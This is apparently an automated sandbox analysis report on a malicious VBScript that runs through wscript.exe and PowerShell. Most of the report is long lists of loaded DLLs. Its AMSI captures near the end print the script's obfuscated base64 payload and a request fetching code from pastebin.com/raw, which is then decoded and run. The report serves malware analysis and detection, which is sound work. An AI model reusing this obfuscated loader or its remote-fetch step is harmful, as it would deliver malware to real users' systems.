Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: adsnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Automated click: OK
Source: C:\Windows\System32\wscript.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Network");IWshNetwork2.AddWindowsPrinterConnection("\\SRVHOMOLOGDC1\Brother", "Brother");IWshNetwork2.AddWindowsPrinterConnection("\\SRVHOMOLOGDC1\HP", "HP");IWshNetwork2.MapNetworkDrive("P:", "\\SRVHOMOLOGDC1\Publica", "true");IWshNetwork2.MapNetworkDrive("E:", "\\SRVHOMOLOGDC1\Digitalizacoes", "true");IHost.CreateObject("WScript.Shell");IWshShell3.SpecialFolders("Desktop");IWshShell3.CreateShortcut("C:\Users\user\Desktop\RD Web Access.lnk");IWshShortcut.TargetPath("http://app01.system.com.br/RDWeb/Pages/login.aspx");IWshShortcut.IconLocation("\\SRVHOMOLOGDC1\Icones\favicon.ico");IWshShell3.SpecialFolders("Desktop");IWshShell3.CreateShortcut("C:\Users\user\Desktop\Pasta_do_Departamento.lnk");IWshShortcut.TargetPath("S:\");IWshShortcut.WindowStyle("1");IWshShortcut.Description("Pasta_do_Departamento");IWshShell3.SpecialFolders("Desktop");IWshShell3.CreateShortcut("C:\Users\user\Desktop\Pasta_Publica.lnk");IWshShortcut.TargetPath("P:\");IWshShortcut.WindowStyle("1");IWshShortcut.Description("Pasta_Publica");IWshShell3.SendKeys("{F5}");IServerXMLHTTPRequest2.open("GET", "https://pastebin.com/raw/zQdp8jhj", "false");IServerXMLHTTPRequest2.send(); dim gomphrena , amparamento , barbarisonante , quindecenviral , gaguejar , Cama , gaguejar1 amparamento = " " barbarisonante = "" & quindecenviral & amparamento & quindecenviral & "gB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTre" & quindecenviral & amparamento & quindecenviral & "QBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTre" & quindecenviral & amparamento & quindecenviral & "QB3DgTreC0DgTreTwBiDgTreGoDgTre" & quindecenviral & amparamento & quindecenviral & "QBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTre" & quindecenviral & amparamento & quindecenviral & "QB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTre" & quindecenviral & amparamento & quindecenviral & "QBuDgTreHQDgTreOwDgTregDgTreCQDgTre" & quindecenviral & amparamento & quindecenviral & "DgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTre" & quindecenviral & amparamento & quindecenviral & "DgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTre" & quindecenviral & amparamento & quindecenviral & "gBsDgTreGUDgTre" & quindecenviral & amparamento & quindecenviral & "DgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTre" & quind

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgT